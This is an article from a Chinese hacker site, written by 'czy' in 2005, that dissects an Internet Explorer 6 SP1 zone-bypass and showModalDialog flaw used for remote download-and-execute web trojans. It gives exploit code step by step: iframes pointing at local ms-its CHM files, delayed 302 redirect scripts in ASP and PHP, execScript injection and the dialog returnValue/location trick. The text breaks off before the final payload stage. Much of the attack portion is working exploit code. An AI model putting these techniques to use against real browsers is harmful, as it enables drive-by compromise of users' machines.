|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| IE6sp1 showModalDialog方法远程文件下载执行漏洞分析 | |||||
作者:czy 文章来源:http://czy82.mblogger.cn/ 点击数: 更新时间:2005-2-19 ![]() |
|||||
|
作者:czy http://czy82.mblogger.cn/ 最近大半年IE一连出了好几个漏洞,其中最严重也是现在网页木马利用最多 的一个当属IE Object Data的漏洞了.可这已经是去年8月份就公布的.只要打了 Q822925就能补上了,所以我一直在找一个能对付Q822925的新洞洞并好好分析一下. 终于机会来了,几天前我去绿盟(nsfocus.com)看贴子,注意到IE又出了个新洞 洞,文章标题是Microsoft Internet Explorer Modal Dialog区域绕过漏洞,绿盟对这个 洞洞的描述大意是:Microsoft Internet Explorer存在漏洞允许跨区域访问,远程攻击 者可以利用这个漏洞在本地电脑区域中执行恶意脚本。攻击者可以构建传递一个动态建立的 IFrame给Modal Dialog对象,并且这个对象调用通过Windows Script Encoder (screnc.exe) 编码,诱使用户打开时,可造成以客户权限在本地域上下文执行恶意脚本,包括下载安装恶意程序。 这个漏洞也可导致访问外部域属性,允许其他类型的攻击如获得攻击者选择的敏感或私有信息。 看来这的确是一个大洞洞哦,还好没有多少人注意到这个洞洞,而文章中又给出了一篇老 外写的分析名字叫:对Ilookup木马的分析(An analysis of the Ilookup Trojan)(http://62.131.86.111/analysis.htm) 代码都在这儿了还不分析做什么呢?本来以为分析会比较简单的因为代码都是现成的,但具体 分析后才发现不少问题.所以下面的分析基于我自已的代码. 测试系统:win2000 pro sp4+ie6 sp1+Q822925 下面我就根据漏洞的利用思路一步步介绍: 第一步: 在网页中产生一个IFRAME并且内容为本地文件看到这句可能大家会想到: <IFRAME ID=myiframe NAME=myiframe SRC="ms-its:C:\WINnt\Help\iexplore.chm::/iegetsrt.htm" WIDTH=200 HEIGHT=200></IFRAME> 把如下代码存在iframe.htm中在本地浏览显示如下:(图iframe1.bmp) 这说明本地html文件可以通过IFRAME仿问本地的其它文件因为他们都属于"本地电脑区域". 把这个iframe.htm存放在服务器上试试:(图iframe2.bmp) 这说明网页文件通过IFRAME不能仿问本地的文件因为他们一个属于"本地电脑区域"一个是"internet区域",而IE的安全设置为 不能对不同区域的文件进行仿问. 怎么办呢这儿有一个最新的跨域仿问洞洞:老外的代码如下: <IFRAME ID=myiframe NAME=myiframe SRC="redir.php" WIDTH=200 HEIGHT=200></IFRAME> 下面是redir.php的代码 <% Thread.sleep(1500); response.setStatus(302); response.setHeader("Location", "URL:ms-its:C:\\WINNT\\Help\\iexplore.chm::/iegetsrt.htm"); %> 看看老外是如何发现这个洞洞的: 2002年9月有个老外发现了一个洞洞通过 response.setHeader("Location", "ms-its:C:\\WINNT\\Help\\iexplore.chm::/iegetsrt.htm"); 这样的代码就可以在网页中仿问本地资源了,但是IE6SP1补上了这个洞洞.不过在ms-its:前面加上个URL标识就又可以仿问了. 我把代码改成ASP的如下: ----------------re.asp------------ <% TimeIt(4) Response.Status = "302" Response.AddHeader "Location","URL:ms-its:C:\WINNT\Help\iexplore.chm::/iegetsrt.htm" Function TimeIt(N) StartTime = Timer do while endtime-starttime<n EndTime = Timer loop End Function %> -------------------end------------- 其中Response.Status是设置服务器要响应的状态行的值。Response.status="状态描述字符串", 字符串可以为一个三位整数或一串说明文字组成,但必须防在<html>之前。这儿只能是302 Response.AddHeader是设置HTTP的头字段. 重新写一个叫iframe2.htm的文件内容如下: <IFRAME ID=myiframe NAME=myiframe SRC="http://192.168.0.18/re.asp" WIDTH=200 HEIGHT=200></IFRAME> 执行后如图iframe3.bmp怎么样现在我们就跳过了IE6SP1的安全限制.成功的在internet区域的文件中加入了一个 "我的电脑区域"的文件. 第二步: 众所周之我的电脑区域中的网页代码的安全限定要小得多,现在我们要做的就是如何把我们的代码"注入"到我的电脑区域中 并且执行它们.这儿老外利用了第二个洞洞就是标题中的showModalDialog方法远程文件下载执行漏洞. 先来看看下面的代码:(代码较为复杂请细细阅读) -------------------------show.htm------------- <script language="Javascript"> function InjectedDuringRedirection(){ var bbb="i am czy"; aaa= {h : bbb}; showModalDialog('modold.htm',aaa,"dialogTop:500\;dialogLeft:200\;dialogHeight:1\;dialogWidth:1\;") } </script> <script language="javascript"> setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100); //生成函数代码toStirng()得到代码 setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",110); //调用函数 document.write('<IFRAME ID=myiframe NAME=myiframe SRC="http://192.168.0.18/re.asp" WIDTH=200 HEIGHT=200></IFRAME>'); </script> -------------------------end------------------ ---------------------mdold.htm----------------- <script>document.write(window.dialogArguments.h);</script> ---------------------end----------------------- 注意包含本地电脑区域文件的IFRAME叫myiframe. 首先网页利用document.write 成生这个IFrame,然后调用setTimeout隔0.1秒在myiframe中执行execScript方法. 这儿要注意的是如果我们把show.htm和modold.htm放在本地执行将出现两处提示说拒绝仿问.不过我们把setTimeout 的值改大点就行了.但是这样在网站上又将出现"拒绝仿问"的提示.所以后面我所有的测试均在网站上测试本地不再考虑了. 另外还要说明的是:re.asp刚开始执行的时候必须有一个延时,否则仍然会提示"拒绝仿问"!!! ----------------begin-------- TimeIt(4) '调用自定义函数延时4秒 Function TimeIt(N) StartTime = Timer '得到函数开始执行时的时间 do while endtime-starttime<n '当现在的时间减函数开始执行时的时间大于n(也就是要延时的时间)时结束 EndTime = Timer loop End Function -----------------end--------- 刚才说到在myiframe中调用execScript第一次调用时参数是InjectedDuringRedirection.toString()等于是在iegetsrt.htm中生成 如下代码: function InjectedDuringRedirection(){ var bbb="i am czy"; aaa= {h : bbb}; showModalDialog('modold.htm',aaa,"dialogTop:500\;dialogLeft:200\;dialogHeight:1\;dialogWidth:1\;") } 第二次调用参数为InjectedDuringRedirection()就等于调用了刚才生成的代码. (toString的具体介绍请参见MSDN) 把上面的代码放在网站中测试.我们会看到一个模态网页框弹了出来.图mod1.bmp 这儿好象能说明我们的代码在本地文件iegetsrt.htm中注入成功.不过注意模态网页的状态栏显示的区域仍然是internet失望了吧. 看来IE的洞洞还不是那么好找的.到底是怎么回事呢?我是这样猜想的? 先生成了myiframe它的src是由re.asp生成的而且故意延时了4秒.然后在src中的本地文件还没有加载的时候代码被注入到了其中. 这时IE将做安全检查因为src还没有被加载所以myiframe的属性还是internet区域,当然我们的代码肯定就能被注入.这也就能解释 为什么把setTimeout设为5秒后为什么会提示"拒绝仿问"了. 所以到现在为止我们在modold.htm中的代码的执行权限还是在"internet区域"中,我们还没有突破ie的执行限制.换句话说就是 我们试图在modold.htm中加载一些恶意代码是没有用的.但为什么老外最后解决了这个问题呢?慢慢看吧,it's a very acumen code. 先来看看showModalDialog方法的的第二个参数.MSDN中说明如下: 使用这个参数可以传输任何格式的值给对话框,对话框通过window.dialogArguments可以得到传过来的值 老外传了一个window过去.这个window也就是myiframe showModalDialog('md.htm',window,"resizab.......................).location=".............." 新的模态对话框代码如下: -------------------md.htm-------------------- <SCRIPT language="javascript"> window.returnValue = window.dialogArguments; function CheckStatus(){ try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();} setTimeout("CheckStatus()",100); } CheckStatus(); </SCRIPT> ---------------------end--------------------- 再来看看模态对话框的一个专有属性window.returnValue MSDN中说明如下: 当模态对话框关闭的时候通过设置returnValue这样打开这个模态对话框的主窗口得 就能得到返回的值.下面我举个简单的例子: ---------------------fa.htm---------------- <script> b(); function a() { var str; str=showModalDialog('abc.htm',window,"dialogHeight:300px; dialogLeft:200px;") document.write (str); } function b(){ setTimeout("window.execScript('a();a.toString()');",100); } </script> -----------------------end------------------------ -----------------------abc.htm------------------- <script> c(); function c() { window.returnValue ="i am return"; document.write(window.dialogArguments.location); } </script> -----------------------end----------------------- 执行fa.htm后打开abc.htm,关闭abc.htm后在fa.htm中将打出"i am return" 现在就好理解些了.再来看老外的代码吧: window.returnValue = window.dialogArguments; 把showmodaldialog的返回值也设为window,同时在设置location为一个新的值. 或许说 showModalDialog('md.htm',window,"resizab.......................).location=".............." 也可以改成: showModalDialog('md.htm',window,"resizab.......................) 然后md.htm中的returnvalue改为下面的代码: window.returnValue = window.dialogArguments.location="................"; 还有一个问题就是对话框什么时候关闭呢?老外代码如下: function CheckStatus(){ try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();} setTimeout("CheckStatus()",100); } CheckStatus(); 每隔0.1秒检查一下myiframe的location.href的值,当本地文件加载成功后myiframe的域将改变这时将发生一个 安全异常,这时就会执行到catch里的代码window.close 好了当模态对话框架关闭后myiframe的安全属性也就是"我的电脑区域"!由于我们的返回值是改变这个myiframe 的location属性那么这儿就可以注入我们的代码啦. 为什么?其实改变myiframe的location属性也就等于在IE的地址栏输入代码一样比如说我们可以在IE的地址栏 输入javascript:'<b>i am czy</b>' 聪明的你可能想到了现在myiframe的安全属性是"我的电脑区域"那么在里面执行代码应该也就能突破IE的安全限制了 真的能行吗?我试了不行哈.为什么不行呢?我想可能是因为IE对在location里面执行的代码做了专门的限制,但是我们可以 先通过location里面的脚本语句再注入一个iframe到myiframe中间去,然后再注入恶意代码. 为什么通过location可以注入代码到myiframe中去呢?因为locatoin是myiframe中的一个属性嘛. location |
|||||
| 文章录入:IceRiver 责任编辑:IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 破解Session cookie的方法 浏览器市场IE份额跌至63.9% 不怕被钓鱼 关掉IE 7反钓鱼功 轻轻松松铲除恶意网站 实战I 安全专家:Web 2.0站点的coo 永远不怕IE主页被修改 IE仍然是过去影响力最高的科 Firefox和IE曝严重安全漏洞 IE和Firefox混着用易遭黑客攻 请小心你的IE浏览器主页被恶 |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |